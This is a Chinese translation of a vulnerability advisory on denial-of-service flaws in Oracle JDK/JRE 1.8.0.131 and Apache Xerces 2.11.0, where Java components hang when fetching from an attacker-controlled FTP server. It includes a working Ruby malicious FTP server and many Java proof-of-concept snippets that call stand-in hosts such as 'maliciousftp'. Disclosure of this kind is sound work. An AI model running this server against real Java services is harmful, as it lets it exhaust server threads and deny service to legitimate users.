Oracle Java及Apache Xerces PDF/Docx服务器端拒绝服务漏洞
译者:興趣使然的小胃
一、漏洞概要
Oracle Java JDK/JRE(1.8.0.131以及更早版本)软件包以及Apache Xerces(2.11.0版)中存在两个漏洞,这两个漏洞分别为:
Oracle JDK/JRE并发型拒绝服务(DoS)漏洞
java.net.URLConnection(未使用setConnectTimeout时)并发型拒绝服务漏洞
Oracle已收到相关漏洞报告,并分配了一个报告跟踪编号:S0876966。目前我们还没有收到相关补丁或解决方法的更多信息。
二、漏洞细节
当满足以下条件时,攻击者可以使用这两个漏洞对服务器发起拒绝服务(Denial of Service, DoS)攻击:
攻击者可以将一个精心构造的URL参数传递给目标服务器,URL参数指向攻击者控制的FTP服务器。
目标服务器使用存在漏洞的组件来获取攻击者指定的资源。
目标服务器可以获取使用FTP URI地址的资源。
在这两个漏洞中,攻击者发起的攻击过程如下所示:
1、攻击者迫使存在漏洞的目标服务器解析某个FTP URL地址,该地址指向攻击者控制的FTP服务器。
2、目标服务器获取攻击者指定的FTP资源。
3、攻击者的FTP服务器突然停止工作,导致目标服务器上的Java进程内部遗留两个线程,这两个线程处于无限等待状态。
4、如果Java进程为单线程进程,那么该进程就无法进一步处理其他客户端的请求,只能接受来自攻击者的一个请求,满足拒绝服务条件。
5、如果Java进程为多线程进程,那么攻击者可以使用同样的技术,向每个可用的进程发出一个请求,耗尽所有可用的线程,以满足拒绝服务条件。
为了满足攻击条件,当Java客户端即将执行RETR FTP命令时,攻击者控制的FTP服务器需要“突然”退出。服务端无法正确处理这种情况,因此会出现线程并发型拒绝服务现象。
比如:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
require 'socket'ftp_server = TCPServer.new 21Thread.start doloop do Thread.start(ftp_server.accept) do |ftp_client| puts "FTP. New client connected" ftp_client.puts("220 ftp-server") counter = 0 loop { req = ftp_client.gets() break if req.nil? puts "< "+req if req.include? "USER" ftp_client.puts("331 password") else ftp_client.puts("230 Waiting data") counter = counter + 1 if counter == 6 abort end end } puts "Aborted..." endendendloop dosleep(50000)end |
当漏洞条件满足时,DoS会导致目标服务器与FTP服务器(192.168.234.134)之间的连接处于CLOSE_WAIT状态,使服务端的Java线程处于卡顿状态。
三、Oracle JDK/JRE并发型拒绝服务漏洞
存在漏洞的函数为:
|
1
2
3
4
5
6
7
8
|
java.io.InputStreamjava.xml.ws.Servicejavax.xml.validation.Schemajavax.xml.JAXBContextjava.net.JarURLConnection(未使用setConnectionTimeout以及setReadTimeout函数时)javax.imageio.ImageIOJavax.swing.ImageIconjavax.swing.text.html.StyleSheet |
3.1 java.io.InputStream PoC代码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
import java.io.InputStream;import java.net.URL;public class RandomAccess { public static void main(String[] args) { try { //url = new URL ("ftp://maliciousftp:2121/test.xml"); URL url = new URL("ftp://maliciousftp:2121/test.xml"); InputStream inputStream = url.openStream(); inputStream.read(); //urlc.setReadTimeout(5000); //urlc.setConnectTimeout(5000); // <- this fixes the bug } catch (Exception e) { e.printStackTrace(); } }} |
3.2 javax.xml.ws.Service PoC代码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import java.net.MalformedURLException;import java.net.URL;import javax.xml.namespace.QName;import javax.xml.ws.Service;public class CreateService { public static void main(String[] args) { String wsdlURL = "ftp://maliciousftp:2121/test?wsdl"; String namespace = "http://foo.bar.com/webservice"; String serviceName = "SomeService"; QName serviceQN = new QName(namespace, serviceName); try { Service service = Service.create(new URL(wsdlURL), serviceQN); } catch (MalformedURLException e) { e.printStackTrace(); } }} |
3.3 javax.xml.validation.Schema PoC代码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import java.net.MalformedURLException;import java.net.URL;import javax.xml.validation.Schema;import javax.xml.validation.SchemaFactory;import org.xml.sax.SAXException;public class NSchema { public static void main(String[] args) { SchemaFactory schemaFactory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); URL url; try { url = new URL("ftp://maliciousftp:2121/schema"); try { Schema schemaGrammar = schemaFactory.newSchema(url); } catch (SAXException e) { e.printStackTrace(); } } catch (MalformedURLException e) { e.printStackTrace(); } }} |
3.4 javax.xml.JAXBContext PoC代码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
import java.net.MalformedURLException;import java.net.URL;import javax.xml.bind.JAXBContext;import javax.xml.bind.JAXBException;import javax.xml.bind.Unmarshaller;public class UnMarsh { public static void main(String[] args) { JAXBContext jaxbContext = null; try { jaxbContext = JAXBContext.newInstance(); } catch (JAXBException e) { e.printStackTrace(); } URL url = null; try { url = new URL("ftp://maliciousftp:2121/test"); } catch (MalformedURLException e) { e.printStackTrace(); } Unmarshaller jaxbUnmarshaller = null; try { jaxbUnmarshaller = jaxbContext.createUnmarshaller(); } catch (JAXBException e) { e.printStackTrace(); } try { Object test = jaxbUnmarshaller.unmarshal(url); } catch (JAXBException e) { e.printStackTrace(); } }} |
3.5 java.net.JarURLConnection PoC代码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import java.io.IOException;import java.net.JarURLConnection;import java.net.MalformedURLException;import java.net.URL;import java.util.jar.Manifest;public class JavaUrl { public static void main(String[] args) { URL url = null; try { url = new URL("jar:ftp://maliciousftp:2121/duke.jar!/"); } catch (MalformedURLException e) { e.printStackTrace(); } JarURLConnection jarConnection = null; try { jarConnection = (JarURLConnection) url.openConnection(); jarConnection.setConnectTimeout(5000); jarConnection.setReadTimeout(5000); } catch (IOException e1) { e1.printStackTrace(); } try { Manifest manifest = jarConnection.getManifest(); } catch (IOException e) { e.printStackTrace(); } }} |
3.6 javax.imageio.ImageIO PoC代码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import java.awt.Image;import java.io.IOException;import java.net.URL;import javax.imageio.ImageIO;import javax.swing.ImageIcon;import javax.swing.JFrame;import javax.swing.JLabel;public class ImageReader { public static void main(String[] args) { Image image = null; try { URL url = new URL("ftp://maliciousftp:2121/test.jpg"); image = ImageIO.read(url); } catch (IOException e) { e.printStackTrace(); } JFrame frame = new JFrame(); frame.setSize(300, 300); JLabel label = new JLabel(new ImageIcon(image)); frame.add(label); frame.setVisible(true); }} |
3.7 javax.swing.ImageIcon PoC代码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import java.net.MalformedURLException;import java.net.URL;import javax.swing.ImageIcon;public class ImageXcon { public static void main(String[] args) { URL imgURL; try { imgURL = new URL("ftp://maliciousftp:2121/test"); String description = ""; ImageIcon icon = new ImageIcon(imgURL, description); } catch (MalformedURLException e) { e.printStackTrace(); } }} |
3.8 javax.swing.text.html.StyleSheet PoC代码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import java.net.MalformedURLException;import java.net.URL;import javax.swing.text.html.StyleSheet;public class ImportStyla { public static void main(String[] args) { StyleSheet cs = new StyleSheet(); URL url; try { url = new URL("ftp://maliciousftp:2121/test"); cs.importStyleSheet(url); } catch (MalformedURLException e) { e.printStackTrace(); } }} |
四、java.net.URLConnection并发型拒绝服务漏洞
当使用java.net.URLConnection来获取FTP服务器上的某个文件时,如果不指定连接超时(Connection Timeout)时间,那么就会存在线程并发型拒绝服务漏洞。
存在漏洞的函数为:
|
1
2
3
4
5
6
|
javax.xml.parsers.SAXParserjavax.xml.parsers.SAXParserFactoryorg.dom4j.Documentorg.dom4j.io.SAXReaderjavax.xml.parsers.DocumentBuilderjavax.xml.parsers.DocumentBuilderFactory |
Apache Xerces中的com.sun.org.apache.xerces.internal.impl.XMLEntityManager.class是这一问题的根本原因所在。
在这种情况下,XMLEntityManager.class没有明确设置连接对象的连接超时时间,因此Java会将该时间设置为默认值(-1),这样一来就会满足拒绝服务条件,具体细节如下所述。
比如,服务器在如下示例代码中,利用Apache Xerces库来获取FTP服务器上的某个XML文件:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
[snip] private void parseXmlFile() { //get the factory DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { //Using factory get an instance of document builder DocumentBuilder db = dbf.newDocumentBuilder(); //parse using builder to get DOM representation of the XML file dom = db.parse("ftp://maliciousftpserver/test.xml"); // <- FTP URL controlled by the attacker } catch (ParserConfigurationException pce) { pce.printStackTrace(); } catch (SAXException se) { se.printStackTrace(); } catch (IOException ioe) { ioe.printStackTrace(); } }[snip] |
4.1 SAXParser PoC代码
|
1
2
3
4
|
SAXParserFactory factory = SAXParserFactory.newInstance();SAXParser saxParser = factory.newSAXParser();UserHandler userhandler = new UserHandler();saxParser.parse("ftp://badftpserver:2121/whatever.xml”) |
4.2 DOM4J/SAXReader PoC代码
|
1
2
|
SAXReader reader = new SAXReader();Document document = reader.read( "ftp://badftpserver:2121/whatever.xml" ); |
4.3 JAVAX XML Parsers PoC代码
|
1
2
|
DocumentBuilder db = dbf.newDocumentBuilder(); dom = db.parse("ftp://badftpserver:2121/whatever.xml"); |
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blogs.securiteam.com/index.php/archives/3271
AlexFran